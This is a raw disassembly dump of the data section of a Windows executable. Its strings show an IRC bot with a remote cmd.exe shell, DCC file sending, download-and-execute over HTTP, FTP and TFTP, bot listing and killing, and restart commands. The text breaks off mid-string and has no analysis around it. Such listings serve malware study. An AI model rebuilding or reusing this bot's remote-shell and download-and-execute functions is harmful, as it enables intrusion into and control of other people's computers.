sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FDD: ; DATA XREF: sub_414EF4o mov eax, offset dword_417350 jmp loc_416E08 ; --------------------------------------------------------------------------- align 4 dd 6 dup(0) dword_417000 dd 77DD7F3Eh ; DATA XREF: sub_401000+C6r dword_417004 dd 77DD5C55h ; DATA XREF: sub_401000+11Ar ; sub_406C51+96r dword_417008 dd 77DD22EAh ; DATA XREF: sub_401000+65r ; sub_406722+184r ... dword_41700C dd 77DD23D7h ; DATA XREF: sub_406722+1C3r ; sub_4083AD+2DDr ... dword_417010 dd 77DD59F0h ; DATA XREF: sub_406C51+88r dword_417014 dd 77DD590Bh ; DATA XREF: sub_406C51+26r dword_417018 dd 77DDACABh ; DATA XREF: sub_4083AD+E6r dword_41701C dd 77DE042Eh ; DATA XREF: sub_4102AE+62r dword_417020 dd 77DE03D2h ; DATA XREF: sub_4102AE+27r ; sub_4102AE+37r ... dword_417024 dd 77DDEBA2h ; DATA XREF: sub_4102AE+17r dword_417028 dd 77DD189Ah ; DATA XREF: sub_401000+136r ; sub_406722+2F9r ... align 10h dword_417030 dd 77E7C657h ; DATA XREF: sub_4083AD+11Er ; sub_40D043+20Br ... dword_417034 dd 77E7513Ch ; DATA XREF: sub_408342+10r ; sub_408342+4Br dword_417038 dd 77E705C5h ; DATA XREF: sub_406D47+41r dword_41703C dd 77E74672h ; DATA XREF: sub_406C51+6Fr ; sub_414EF4+8EEr dword_417040 dd 77E705B0h ; DATA XREF: sub_406B81+15r dword_417044 dd 77E7A837h ; DATA XREF: sub_406B81+47r ; sub_406B81+95r ... dword_417048 dd 77E73CE2h ; DATA XREF: sub_406B81+6Er dword_41704C dd 77E7011Ah ; DATA XREF: sub_406B81+BCr dword_417050 dd 77E704FCh ; DATA XREF: sub_406A23+15r ; sub_406AE7+15r ... dword_417054 dd 77E805D8h ; DATA XREF: sub_403BD3+Br ; sub_403BD3+32r ... dword_417058 dd 77E7A5FDh ; DATA XREF: sub_403BD3+22r ; sub_403BD3+4Dr ... dword_41705C dd 77E75CB5h ; DATA XREF: sub_40332B+227r ; sub_407148+18Br ... dword_417060 dd 77E6BD13h ; DATA XREF: sub_402A32+ECr ; sub_406E8E+1FEr dword_417064 dd 77F5157Dh ; DATA XREF: sub_402A32+F6r ; sub_409CB1+CFr ... dword_417068 dd 77E79D8Ch ; DATA XREF: sub_401D39+22r ; sub_406D90+D3r dword_41706C dd 77E6CBF9h ; DATA XREF: sub_401981+4Fr dword_417070 dd 77E7727Ah ; DATA XREF: sub_401981+9Er ; sub_401981+D7r dword_417074 dd 77E79C90h ; DATA XREF: sub_401981+104r ; sub_401981+111r dword_417078 dd 77E65F4Ch ; DATA XREF: sub_4083AD+FAr dword_41707C dd 77E61BB8h ; DATA XREF: sub_401981+1C6r ; sub_406E8E+2A5r dword_417080 dd 77EB7624h ; DATA XREF: sub_401981+274r dword_417084 dd 77E7FF65h ; DATA XREF: sub_401981+2B3r dword_417088 dd 77E78B82h ; DATA XREF: sub_401981+37Br dword_41708C dd 77E79F93h ; DATA XREF: sub_401244+F2r ; sub_40332B+1D0r ... dword_417090 dd 77E7A099h ; DATA XREF: sub_401244+F9r ; sub_40332B+1D7r ... dword_417094 dd 77E706B7h ; DATA XREF: sub_401244+159r ; sub_406041+193r ... dword_417098 dd 77E61A54h ; DATA XREF: sub_401244+21Dr ; sub_406509+91r dword_41709C dd 77E61BE6h ; DATA XREF: sub_401244+3C6r ; sub_401244+4F4r ... dword_4170A0 dd 77E616B4h ; DATA XREF: sub_401244+439r ; sub_406643+3Br dword_4170A4 dd 77E77963h ; DATA XREF: sub_401244+471r ; sub_401244+4C1r ... dword_4170A8 dd 77E70396h ; DATA XREF: sub_401146+11r ; sub_406E8E+22Ar ... dword_4170AC dd 77E73628h ; DATA XREF: sub_401146+23r ; sub_401E38+30r ... dword_4170B0 dd 77E79A45h ; DATA XREF: sub_416F4E+1Er dword_4170B4 dd 77E7AC37h ; DATA XREF: sub_40A1A7+106r dword_4170B8 dd 77E75090h ; DATA XREF: sub_40D74D+87r dword_4170BC dd 77E74D76h ; DATA XREF: sub_40D74D+4Ar dword_4170C0 dd 77E77797h ; DATA XREF: sub_40D74D+33r dword_4170C4 dd 77E76C1Ah ; DATA XREF: sub_4083AD+33r dword_4170C8 dd 77E686CCh ; DATA XREF: sub_408E8E+4Br ; sub_408F2E+134r dword_4170CC dd 77E6C0E3h ; DATA XREF: sub_408E8E+1Ar ; sub_408F2E+7Fr ... dword_4170D0 dd 77E7751Ah ; DATA XREF: sub_409226:loc_40928Er ; sub_4092A4:loc_409307r ... dword_4170D4 dd 77E6D75Bh ; DATA XREF: sub_409226+14r ; sub_4092A4+14r ... dword_4170D8 dd 77E802FCh ; DATA XREF: sub_409226+Ar ; sub_4092A4+Ar ... dword_4170DC dd 77E7176Ch ; DATA XREF: sub_4093B6+51r dword_4170E0 dd 77E75CEBh ; DATA XREF: sub_4098F3+A2r ; sub_4098F3+1B6r dword_4170E4 dd 77E79908h ; DATA XREF: sub_409C36+2Er dword_4170E8 dd 77E80656h ; DATA XREF: sub_401244+D7r ; sub_406643+19r dword_4170EC dd 77F7E21Fh ; DATA XREF: sub_409C6C+6r dword_4170F0 dd 77E79CE3h ; DATA XREF: sub_401981+118r dword_4170F4 dd 77E78C17h ; DATA XREF: .data:00416822r dword_4170F8 dd 77E7C2C4h ; DATA XREF: .data:00416899r dword_4170FC dd 77E73167h ; DATA XREF: sub_414EF4+5AAr ; sub_414EF4+5BCr ... dword_417100 dd 77E73BEFh ; DATA XREF: sub_414EF4+9C0r dword_417104 dd 77E7AC5Eh ; DATA XREF: sub_4148CE+B0r dword_417108 dd 77E76432h ; DATA XREF: sub_40D871+29Br ; sub_414EF4+5CEr ... dword_41710C dd 77F7E300h ; DATA XREF: sub_409C7A+6r dd 0 dword_417114 dd 77C1C055h ; DATA XREF: sub_416F7Ar dword_417118 dd 77C423F5h ; DATA XREF: sub_416F80r dword_41711C dd 77C219F5h ; DATA XREF: sub_416FA2r dword_417120 dd 77C20C5Bh ; DATA XREF: sub_416FA8r dword_417124 dd 77C21AD8h ; DATA XREF: .data:loc_416E08r dword_417128 dd 77C43150h ; DATA XREF: sub_416E02r dword_41712C dd 77C41FA0h ; DATA XREF: sub_416B3Ar dword_417130 dd 77C33FDEh ; DATA XREF: sub_416DFCr dword_417134 dd 77C33FC1h ; DATA XREF: sub_416DF6r dword_417138 dd 77C3CE0Ch ; DATA XREF: sub_416DF0r dword_41713C dd 77C42D60h ; DATA XREF: sub_416DEAr dword_417140 dd 77C1C6F3h ; DATA XREF: sub_416DE4r dword_417144 dd 77C435C0h ; DATA XREF: sub_416DDEr dword_417148 dd 77C3E5D9h ; DATA XREF: sub_416DD8r dword_41714C dd 77C28925h ; DATA XREF: sub_416DD2r dword_417150 dd 77C28933h ; DATA XREF: sub_416DCCr dword_417154 dd 77C3CCE7h ; DATA XREF: sub_416DC6r dword_417158 dd 77C37FEDh ; DATA XREF: sub_416DC0r dword_41715C dd 77C33EB0h ; DATA XREF: sub_416DBAr dword_417160 dd 77C4B940h ; DATA XREF: sub_416CFEr dword_417164 dd 77C4B120h ; DATA XREF: sub_416CF8r dword_417168 dd 77C37ADCh ; DATA XREF: sub_416BFCr dword_41716C dd 77C2AC58h ; DATA XREF: sub_416BF6r dword_417170 dd 77C438C0h ; DATA XREF: sub_416BF0r dword_417174 dd 77C3C93Ch ; DATA XREF: sub_416BAEr dword_417178 dd 77C43AB0h ; DATA XREF: sub_416BA8r dword_41717C dd 77C3E8C0h ; DATA XREF: sub_416BA2r dword_417180 dd 77C1BE00h ; DATA XREF: sub_416B9Cr dword_417184 dd 77C3E140h ; DATA XREF: sub_416B96r dword_417188 dd 77C3DFB5h ; DATA XREF: sub_416B90r dword_41718C dd 77C3BF06h ; DATA XREF: sub_416B88r dword_417190 dd 77C3D8F6h ; DATA XREF: sub_416B82r dword_417194 dd 77C3E4B9h ; DATA XREF: sub_416B7Cr dword_417198 dd 77C3E303h ; DATA XREF: sub_416B76r dword_41719C dd 77C41FB0h ; DATA XREF: sub_416B70r dword_4171A0 dd 77C43490h ; DATA XREF: sub_416B6Ar dword_4171A4 dd 77C46553h ; DATA XREF: sub_416B64r dword_4171A8 dd 77C3C813h ; DATA XREF: sub_416B5Er dword_4171AC dd 77C43900h ; DATA XREF: sub_416B58r dword_4171B0 dd 77C42E10h ; DATA XREF: sub_416B52r dword_4171B4 dd 77C2AA6Bh ; DATA XREF: sub_416B4Cr dword_4171B8 dd 77C2AC46h ; DATA XREF: sub_416B46r dword_4171BC dd 77C43710h ; DATA XREF: sub_416B40r dword_4171C0 dd 77C421A2h ; DATA XREF: sub_416F74r align 8 dword_4171C8 dd 7713BC68h ; DATA XREF: sub_416E4E+44r align 10h dword_4171D0 dd 77428B97h ; DATA XREF: sub_401D6E+2Dr ; sub_402A32+79Br ... align 8 dword_4171D8 dd 77D4456Bh ; DATA XREF: sub_40A9CF+121r dword_4171DC dd 77D79D1Ch ; DATA XREF: sub_414EF4+76Dr dword_4171E0 dd 77D4C96Ah ; DATA XREF: sub_406D90+B0r ; sub_408F2E+1D1r ... dword_4171E4 dd 77D5C13Ah ; DATA XREF: sub_40A9CF+128r ; sub_415B60+84r dword_4171E8 dd 77D4BDCAh ; DATA XREF: sub_40D734+Br dword_4171EC dd 77D4702Fh ; DATA XREF: sub_40D74D+6Cr ; sub_40D74D+7Er dd 0 dword_4171F4 dd 71AB3E5Dh ; DATA XREF: sub_404FE7+C5r ; sub_4050EA+106r ... dword_4171F8 dd 71AB1B7Bh ; DATA XREF: sub_416E30r dword_4171FC dd 71AB868Dh ; DATA XREF: sub_4048EF+11Er ; sub_4048EF+39Fr dword_417200 dd 71AB8629h ; DATA XREF: sub_40538D+8r ; sub_412A3A+178r ... dword_417204 dd 71AB3F8Dh ; DATA XREF: sub_4046BC+114r ; sub_4055E5+7Br ... dword_417208 dd 71AB3ECEh ; DATA XREF: sub_4046BC+129r ; sub_411DC5+DFr ... dword_41720C dd 71AB1AF4h ; DATA XREF: sub_4053BF+Fr ; sub_40A9CF+1A74r dword_417210 dd 71ABF628h ; DATA XREF: sub_4044F7+21r ; sub_4045B2+21r dword_417214 dd 71AB155Ah ; DATA XREF: sub_404457+1Cr ; sub_40447B+10r dword_417218 dd 71AB3C22h ; DATA XREF: sub_40432E+Ar ; sub_4046BC+CEr ... dword_41721C dd 71AB401Ch ; DATA XREF: sub_4038BA+72r ; sub_40732D+1A8r ... dword_417220 dd 71ABD755h ; DATA XREF: sub_4038BA+D0r ; sub_4038BA+171r ... dword_417224 dd 71AB1740h ; DATA XREF: sub_4038BA+E5r ; sub_4038BA+186r ... dword_417228 dd 71ABD850h ; DATA XREF: sub_4038BA+28Dr dword_41722C dd 71AB1890h ; DATA XREF: sub_4048EF+265r ; sub_404E1C+E0r ... dword_417230 dd 71AB1A6Dh ; DATA XREF: sub_4053B1+6r ; sub_40A9CF+1A80r ... dword_417234 dd 71AB350Dh ; DATA XREF: sub_403588+23r ; sub_403588+4Ar ... dword_417238 dd 71AB1746h ; DATA XREF: sub_403588+BAr ; sub_403588+1FEr ... dword_41723C dd 71AB2BBFh ; DATA XREF: sub_403588+151r ; sub_4055E5+F3r ... dword_417240 dd 71AB157Eh ; DATA XREF: sub_4020C2+B9r ; sub_40449C+21r ... dword_417244 dd 71AB12F8h ; DATA XREF: sub_4020C2+1FAr ; sub_4055E5+DDr ... dword_417248 dd 71AB5690h ; DATA XREF: sub_401E38+106r ; sub_4053DC+27r ... dword_41724C dd 71AB12A7h ; DATA XREF: sub_401E38+141r ; sub_4020C2+201r dword_417250 dd 71AB1ED3h ; DATA XREF: sub_4055E5+7F2r ; sub_411DC5+372r ... dword_417254 dd 71AB1836h ; DATA XREF: sub_406E8E+2ABr ; sub_407148+183r ... dword_417258 dd 71AB1444h ; DATA XREF: sub_411DC5+2A1r dword_41725C dd 71AB14DCh ; DATA XREF: sub_415F69+157r dword_417260 dd 71AB32CAh ; DATA XREF: sub_415F69+81r dword_417264 dd 71AB41DAh ; DATA XREF: .data:004169F2r dword_417268 dd 71AB5DE2h ; DATA XREF: sub_4046BC+14Dr align 10h flt_417270 dd 1.0e3 ; DATA XREF: sub_401E38+207r ; sub_401E38+22Fr ... flt_417274 dd 1.024e3 ; DATA XREF: sub_408B30+2A2r dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0 ; DATA XREF: sub_4093B6+5o dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0 ; DATA XREF: sub_4094E6+5o dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 ; DATA XREF: .data:004167F6o dd offset loc_416AC5 dd offset loc_416ADB dd offset dword_4172F0 off_4172B4 dd offset sub_416F05 ; DATA XREF: sub_416ED3+12o ; .data:00416F3Ao ... dd offset dword_417338 off_4172BC dd offset sub_416F86 ; DATA XREF: .data:off_41DDB0o ; .data:off_41DDD0o off_4172C0 dd offset off_41DDB0 ; DATA XREF: .data:004172D8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4172C0 dword_4172DC dd 3 dup(0) ; DATA XREF: .data:00417300o dd 1, 4172D8h dword_4172F0 dd 3 dup(0) ; DATA XREF: .data:004172B0o dd offset off_41DDB0 dd offset dword_4172DC+4 align 8 off_417308 dd offset off_41DDD0 ; DATA XREF: .data:00417320o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_417308 dd 0 db 0 ; DATA XREF: .data:00417348o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 417320h dword_417338 dd 3 dup(0) ; DATA XREF: .data:004172B8o dd offset off_41DDD0 dd offset unk_417328 align 10h dword_417350 dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF: .data:loc_416FDDo dd 0FFFFFFFFh, 416FB0h, 0 dd offset loc_416FBC dd 1, 416FC5h, 2, 416FD1h, 0 dd offset off_41DDB0 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 416F21h, 0 dword_4173B0 dd 1, 417390h ; DATA XREF: .data:004173C4o dword_4173B8 dd 0 ; DATA XREF: sub_416EAF+19o dd offset sub_416F4E dd 0 dd offset dword_4173B0 dd 1757Ch, 2 dup(0) dd 17876h, 17114h, 1765Ch, 2 dup(0) dd 1788Eh, 171F4h, 17498h, 2 dup(0) dd 17C70h, 17030h, 17640h, 2 dup(0) dd 17CE6h, 171D8h, 17468h, 2 dup(0) dd 17DBAh, 17000h, 17638h, 2 dup(0) dd 17DD8h, 171D0h, 17630h, 2 dup(0) dd 17E3Eh, 171C8h, 0A1h dup(0) dd 74730000h, 79706372h, 0 aStrlen db 'strlen',0 align 4 dd 616D0000h, 636F6C6Ch, 0 aFree db 'free',0 align 10h aMemcpy db 'memcpy',0 align 4 dd 74730000h, 70636E72h, 79h, 69727073h, 66746Eh, 6C630000h dd 6B636Fh, 656D0000h, 7465736Dh, 0 aStrcat db 'strcat',0 align 4 dd 74660000h, 6C6C65h, 77660000h, 65746972h, 0 aFclose db 'fclose',0 align 4 dd 6F660000h, 6E6570h, 72660000h, 646165h, 73660000h, 6B6565h dd 74610000h, 696Fh, 73730000h, 666E6163h, 0 aStrstr db 'strstr',0 align 4 dd 735F0000h, 6972706Eh, 66746Eh, 74730000h, 6D636E72h dd 70h, 6C616572h, 636F6Ch, 78650000h, 7469h, 665F0000h dd 6C6F74h, 65630000h, 6C69h, 655F0000h, 70656378h, 61685F74h dd 656C646Eh, 3372h, 625F0000h, 6E696765h, 65726874h, 78656461h dd 0 aVsprintf db 'vsprintf',0 align 4 a??3@yaxpax@z db '??3@YAXPAX@Z',0 align 4 a??2@yapaxi@z db '??2@YAPAXI@Z',0 align 4 aPrintf db 'printf',0 align 4 dd 74730000h, 706D6372h, 0 aTolower db 'tolower',0 dd 656D0000h, 706D636Dh, 0 a_vsnprintf db '_vsnprintf',0 align 4 dd 725F0000h, 6C746Fh, 725F0000h, 72746Fh, 656D0000h, 766F6D6Dh dd 65h, 78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 534D0072h dd 54524356h, 6C6C642Eh, 0 aWsaioctl db 'WSAIoctl',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 4 aDeletefilea db 'DeleteFileA',0 dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h dd 0 aClosehandle db 'CloseHandle',0 dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 6C530000h dd 706565h, 65520000h, 72506461h, 7365636Fh, 6D654D73h dd 79726Fh, 704F0000h, 72506E65h, 7365636Fh, 73h, 4D746547h dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 646F4D74h dd 48656C75h, 6C646E61h, 4165h, 65470000h, 72754374h, 746E6572h dd 636F7250h, 49737365h, 64h, 64616552h, 656C6946h, 0 aGetexitcodepro db 'GetExitCodeProcess',0 align 4 dd 65500000h, 614E6B65h, 5064656Dh, 657069h, 72430000h dd 65746165h, 636F7250h, 41737365h, 0 aDuplicatehandl db 'DuplicateHandle',0 dd 65470000h, 72754374h, 746E6572h, 636F7250h, 737365h dd 72430000h, 65746165h, 65706950h, 0 aSearchpatha db 'SearchPathA',0 dd 72570000h, 46657469h, 656C69h, 65470000h, 73614C74h dd 72724574h, 726Fh, 6F430000h, 69467970h, 41656Ch, 78450000h dd 72507469h, 7365636Fh, 73h, 50746547h, 41636F72h, 65726464h dd 7373h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h dd 73795374h, 446D6574h, 63657269h, 79726F74h, 41h, 46746553h dd 54656C69h, 656D69h, 65470000h, 6C694674h, 6D695465h dd 65h, 61657243h, 69466574h, 41656Ch, 65470000h, 6E695774h dd 73776F64h, 65726944h, 726F7463h, 4179h, 736C0000h, 656C7274h dd 416Eh, 65530000h, 72754374h, 746E6572h, 65726944h, 726F7463h dd 4179h, 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0 aGetversionexa db 'GetVersionExA',0 align 4 aGetcomputernam db 'GetComputerNameA',0 align 4 aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h dd 65470000h, 73694474h, 6572466Bh, 61705365h, 78456563h dd 41h, 44746547h, 65766972h, 65707954h, 41h, 54746547h dd 436B6369h, 746E756Fh, 0 aQueryperforman db 'QueryPerformanceFrequency',0 align 4 aQueryperform_0 db 'QueryPerformanceCounter',0 dd 73490000h, 43646142h, 5065646Fh, 7274h, 65540000h, 6E696D72h dd 54657461h, 61657268h, 64h, 74696E49h, 696C6169h, 7243657Ah dd 63697469h, 65536C61h, 6F697463h, 6Eh, 65746E45h, 69724372h dd 61636974h, 6365536Ch, 6E6F6974h, 0 aLeavecriticals db 'LeaveCriticalSection',0 align 4 aCreatethread db 'CreateThread',0 align 4 aUnmapviewoffil db 'UnmapViewOfFile',0 dd 614D0000h, 65695670h, 46664F77h, 656C69h, 72430000h dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 0 aLstrcmpa db 'lstrcmpA',0 align 10h aGetenvironment db 'GetEnvironmentVariableA',0 dd 736C0000h, 70637274h, 416E79h, 736C0000h, 70637274h dd 4179h, 72430000h, 65746165h, 6574754Dh, 4178h, 65530000h dd 72724574h, 6F4D726Fh, 6564h, 4E52454Bh, 32334C45h, 6C6C642Eh dd 0 aWsprintfa db 'wsprintfA',0 align 4 aGetwindowtexta db 'GetWindowTextA',0 align 4 dd 65470000h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h dd 77h, 646E6946h, 646E6957h, 41776Fh, 65530000h, 654D646Eh dd 67617373h, 4165h, 73490000h, 72616843h, 68706C41h, 6D754E61h dd 63697265h, 53550041h, 32335245h, 6C6C642Eh, 0 aRegclosekey db 'RegCloseKey',0 dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 45676552h dd 566D756Eh, 65756C61h, 41h, 4F676552h, 4B6E6570h, 78457965h dd 41h, 51676552h, 79726575h, 756C6156h, 41784565h, 0 aRegsetvalueexa db 'RegSetValueExA',0 align 4 dd 65520000h, 65724367h, 4B657461h, 78457965h, 41h, 55746547h dd 4E726573h, 41656D61h, 0 aCryptreleaseco db 'CryptReleaseContext',0 dd 72430000h, 47747079h, 61526E65h, 6D6F646Eh, 0 aCryptacquireco db 'CryptAcquireContextA',0 align 2 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 dd 68530000h, 456C6C65h, 75636578h, 416574h, 4C454853h dd 2E32334Ch, 6C6C64h, 735F0000h, 6D637274h, 6970h, 695F0000h dd 616F74h, 735F0000h, 696E7274h, 706D63h, 435F0000h, 68547878h dd 45776F72h, 70656378h, 6E6F6974h, 0 a??1type_info@@ db '??1type_info@@UAE@XZ',0 align 4 aLocalfree db 'LocalFree',0 aOleaut32_dll_0 db 'OLEAUT32.dll',0 align 4 dd 6Dh dup(0) off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr ; sub_401000+2Er dd offset dword_41805C dd offset dword_418040 dd offset dword_418014 dd 0 dword_418014 dd 0C5BCA58Ch, 0E1CEC1C6h, 0AB9AFEA0h, 0EF83EDA3h, 0FE9D88B1h ; DATA XREF: .data:0041800Co dd 0D6F7DFEFh, 0A087CF89h, 0ECAFEBB9h, 0F09CB083h, 2 dup(0) dword_418040 dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0DEB388B9h ; DATA XREF: .data:00418008o dd 0C9CFh, 0 dword_41805C dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h ; DATA XREF: .data:00418004o dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h dd 0BBBAD0BBh, 0F2A5CAA3h, 0F48C95A9h, 0F0h, 0 dword_418098 dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h ; DATA XREF: .data:off_418000o dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h dd 0BBBAD0BBh, 0A3h, 0 dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: sub_401244+52Do dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: sub_401244+50Ao dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: sub_401244+412o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: sub_401244+45o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4017AA+93o dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do dword_4181A4 dd 303h ; DATA XREF: sub_4018AF:loc_401942o aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401981+48o aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o align 4 asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo ; sub_403DF3+18Co ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo align 4 aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o ; sub_402A32+794o ... align 4 dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: sub_401E38+248o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: sub_401E38+CCo dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4182AC dd 6277h ; DATA XREF: sub_401E38+36o ; sub_402698:loc_40288Eo ... dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: sub_4020C2+3E1o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: sub_4020C2+313o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: sub_4020C2+28Eo dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: sub_4020C2+20Fo dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o align 4 aRb db 'rb',0 ; DATA XREF: sub_4020C2:loc_40220Fo ; sub_406AE7+63o ... align 4 dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_4024F3+101o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_40260D+72o dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o align 4 asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao ; sub_4088FC+E9o db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: sub_402A32+7F6o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: sub_402A32+7D1o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: sub_402A32+738o dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh dword_4184B4 dd 7865202Ch, 74756365h, 676E69h ; DATA XREF: sub_402A32+6B0o dword_4184C0 dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o unk_4184CC db 2Dh ; - ; DATA XREF: sub_402A32+50Eo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_4184F8: ; DATA XREF: sub_402A32:loc_402F16o unicode 0, </>,0 asc_4184FC: ; DATA XREF: sub_402A32+45Fo ; sub_414EF4+644o ... unicode 0, <:>,0 unk_418500 db 2Dh ; - ; DATA XREF: sub_402A32+3E4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 4 a69 db '69',0 ; DATA XREF: sub_402A32+3A8o align 10h aTftp db 'tftp://',0 ; DATA XREF: sub_402A32+387o aAnonymous db 'anonymous',0 ; DATA XREF: sub_402A32+35Ao ; sub_402A32+36Do align 4 a21 db '21',0 ; DATA XREF: sub_402A32+328o align 4 aFtp db 'ftp://',0 ; DATA XREF: sub_402A32+307o align 10h a80 db '80',0 ; DATA XREF: sub_402A32+2CEo ; sub_4043E9+27o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_402A32+2ADo dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: sub_402A32+135o dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: sub_402A32+110o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh dword_4185C4 dd 656C6966h, 2F2F3Ah ; DATA XREF: sub_402A32+C0o dword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: sub_402A32+AAo dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_403260+B2o dd 206F7420h, 2343003h, 2037325h, 0 dword_418620 dd 6578652Eh, 0 ; DATA XREF: sub_403260+43o ; sub_412720+51o aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o ; sub_40332B:loc_403545o ... align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40332B+200o ; sub_40A9CF:loc_40BD52o align 4 dword_41864C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co aModuleSReporte db '- Module 